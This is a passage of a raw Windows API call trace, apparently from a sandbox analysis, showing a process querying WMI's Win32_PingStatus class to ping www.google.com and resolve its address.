plFlavor=0x24700c8*=64 | out: pVal=0x59ee540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507420*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24700c4*=8200, plFlavor=0x24700c8*=64) returned 0x0 [0140.443] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0140.443] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0140.443] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.443] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247032c*=0, plFlavor=0x2470330*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x247032c*=8, plFlavor=0x2470330*=64) returned 0x0 [0140.443] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.443] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.444] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247032c*=8, plFlavor=0x2470330*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x247032c*=8, plFlavor=0x2470330*=64) returned 0x0 [0140.444] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.444] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.444] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0140.444] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0140.444] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.444] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__Derivation", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2470454*=0, plFlavor=0x2470458*=0 | out: pVal=0x59ee538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5075a0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2470454*=8200, plFlavor=0x2470458*=64) returned 0x0 [0140.444] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__Derivation", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2470454*=8200, plFlavor=0x2470458*=64 | out: pVal=0x59ee540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507420*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2470454*=8200, plFlavor=0x2470458*=64) returned 0x0 [0140.445] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee554 | out: puCount=0x59ee554*=0x2) returned 0x0 [0140.445] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0x0, pszText=0x0 | out: puBuffLength=0x59ee550*=0xf, pszText=0x0) returned 0x0 [0140.445] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.445] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee554 | out: puCount=0x59ee554*=0x2) returned 0x0 [0140.445] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0x0, pszText=0x0 | out: puBuffLength=0x59ee550*=0xf, pszText=0x0) returned 0x0 [0140.445] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.445] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee55c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee550 | out: pNames=0x59ee550*="\x01ƀ\x04") returned 0x0 [0140.445] SafeArrayGetDim (psa=0x507450) returned 0x1 [0140.445] SafeArrayGetDim (psa=0x507450) returned 0x1 [0140.445] SafeArrayGetLBound (in: psa=0x507450, nDim=0x1, plLbound=0x59ee3e8 | out: plLbound=0x59ee3e8) returned 0x0 [0140.445] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.445] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.445] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.445] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.446] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.446] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.446] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.446] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.446] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.446] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.446] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.446] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.446] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.446] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.446] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.446] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.446] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.446] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.446] SysStringByteLen (bstr="__PATH") returned 0xc [0140.446] SysStringByteLen (bstr="__PATH") returned 0xc [0140.446] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2470cb0*=0, plFlavor=0x2470cb4*=0 | out: pVal=0x59ee54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2470cb0*=3, plFlavor=0x2470cb4*=64) returned 0x0 [0140.447] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2470ce4*=0, plFlavor=0x2470ce8*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2470ce4*=8, plFlavor=0x2470ce8*=64) returned 0x0 [0140.447] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.447] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.447] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2470d3c*=0, plFlavor=0x2470d40*=0 | out: pVal=0x59ee54c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2470d3c*=8, plFlavor=0x2470d40*=64) returned 0x0 [0140.447] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2470d64*=0, plFlavor=0x2470d68*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2470d64*=8, plFlavor=0x2470d68*=64) returned 0x0 [0140.447] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.447] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.447] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2470dbc*=0, plFlavor=0x2470dc0*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2470dbc*=8, plFlavor=0x2470dc0*=64) returned 0x0 [0140.447] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.447] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.447] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2470f98*=0, plFlavor=0x2470f9c*=0 | out: pVal=0x59ee54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2470f98*=3, plFlavor=0x2470f9c*=64) returned 0x0 [0140.448] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2470fcc*=0, plFlavor=0x2470fd0*=0 | out: pVal=0x59ee54c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507480*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2470fcc*=8200, plFlavor=0x2470fd0*=64) returned 0x0 [0140.448] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2471000*=0, plFlavor=0x2471004*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2471000*=8, plFlavor=0x2471004*=64) returned 0x0 [0140.448] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.448] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.448] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247104c*=0, plFlavor=0x2471050*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x247104c*=8, plFlavor=0x2471050*=64) returned 0x0 [0140.448] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.448] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.448] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PATH", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2471098*=0, plFlavor=0x247109c*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2471098*=8, plFlavor=0x247109c*=64) returned 0x0 [0140.449] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.449] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.449] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee590 | out: puCount=0x59ee590*=0x2) returned 0x0 [0140.449] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee58c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee58c*=0xf, pszText=0x0) returned 0x0 [0140.449] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee58c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee58c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.449] IWbemClassObject:Get (in: This=0x4f432d8, wszName="address", lFlags=0, pVal=0x59ee58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24712d0*=0, plFlavor=0x24712d4*=0 | out: pVal=0x59ee58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x24712d0*=8, plFlavor=0x24712d4*=0) returned 0x0 [0140.449] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.449] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.449] IWbemClassObject:Get (in: This=0x4f432d8, wszName="address", lFlags=0, pVal=0x59ee5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24712d0*=8, plFlavor=0x24712d4*=0 | out: pVal=0x59ee5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x24712d0*=8, plFlavor=0x24712d4*=0) returned 0x0 [0140.449] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.449] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.449] GetAddrInfoW (in: pNodeName="www.google.com", pServiceName=0x0, pHints=0x59ee630*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59ee5d8 | out: ppResult=0x59ee5d8*=0x4f59808*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4c1f8*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) returned 0 [0140.453] FreeAddrInfoW (pAddrInfo=0x4f59808*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4c1f8*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) [0140.453] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.454] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.455] EtwEventActivityIdControl () returned 0x0 [0140.455] EtwEventActivityIdControl () returned 0x0 [0140.455] EtwEventActivityIdControl () returned 0x0 [0140.456] EtwEventActivityIdControl () returned 0x0 [0140.456] EtwEventActivityIdControl () returned 0x0 [0140.456] EtwEventActivityIdControl () returned 0x0 [0140.459] EtwEventWriteTransfer () returned 0x0 [0140.461] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4f8 [0140.462] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0140.462] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0140.462] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.462] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247c574*=0, plFlavor=0x247c578*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x247c574*=8, plFlavor=0x247c578*=64) returned 0x0 [0140.462] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.462] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.462] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247c574*=8, plFlavor=0x247c578*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x247c574*=8, plFlavor=0x247c578*=64) returned 0x0 [0140.462] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.462] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.462] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0140.462] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0140.462] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.463] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247c610*=0, plFlavor=0x247c614*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x247c610*=8, plFlavor=0x247c614*=64) returned 0x0 [0140.463] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.463] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.463] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247c610*=8, plFlavor=0x247c614*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x247c610*=8, plFlavor=0x247c614*=64) returned 0x0 [0140.463] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.463] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.463] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0140.463] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0140.463] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.463] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__Derivation", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247c76c*=0, plFlavor=0x247c770*=0 | out: pVal=0x59ee538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x247c76c*=8200, plFlavor=0x247c770*=64) returned 0x0 [0140.463] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__Derivation", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247c76c*=8200, plFlavor=0x247c770*=64 | out: pVal=0x59ee540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507480*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x247c76c*=8200, plFlavor=0x247c770*=64) returned 0x0 [0140.464] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0140.464] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0140.464] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.464] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247c9d4*=0, plFlavor=0x247c9d8*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x247c9d4*=8, plFlavor=0x247c9d8*=64) returned 0x0 [0140.464] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.464] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.464] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247c9d4*=8, plFlavor=0x247c9d8*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x247c9d4*=8, plFlavor=0x247c9d8*=64) returned 0x0 [0140.464] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.464] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.464] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0140.464] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0140.464] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.464] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__Derivation", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247cafc*=0, plFlavor=0x247cb00*=0 | out: pVal=0x59ee538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x247cafc*=8200, plFlavor=0x247cb00*=64) returned 0x0 [0140.464] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__Derivation", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247cafc*=8200, plFlavor=0x247cb00*=64 | out: pVal=0x59ee540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507480*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x247cafc*=8200, plFlavor=0x247cb00*=64) returned 0x0 [0140.464] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee554 | out: puCount=0x59ee554*=0x2) returned 0x0 [0140.465] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0x0, pszText=0x0 | out: puBuffLength=0x59ee550*=0xf, pszText=0x0) returned 0x0 [0140.465] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.465] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee554 | out: puCount=0x59ee554*=0x2) returned 0x0 [0140.465] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0x0, pszText=0x0 | out: puBuffLength=0x59ee550*=0xf, pszText=0x0) returned 0x0 [0140.465] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.465] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee55c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee550 | out: pNames=0x59ee550*="\x01ƀ\x04") returned 0x0 [0140.465] SafeArrayGetDim (psa=0x507420) returned 0x1 [0140.465] SafeArrayGetDim (psa=0x507420) returned 0x1 [0140.465] SafeArrayGetLBound (in: psa=0x507420, nDim=0x1, plLbound=0x59ee3e8 | out: plLbound=0x59ee3e8) returned 0x0 [0140.465] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.465] 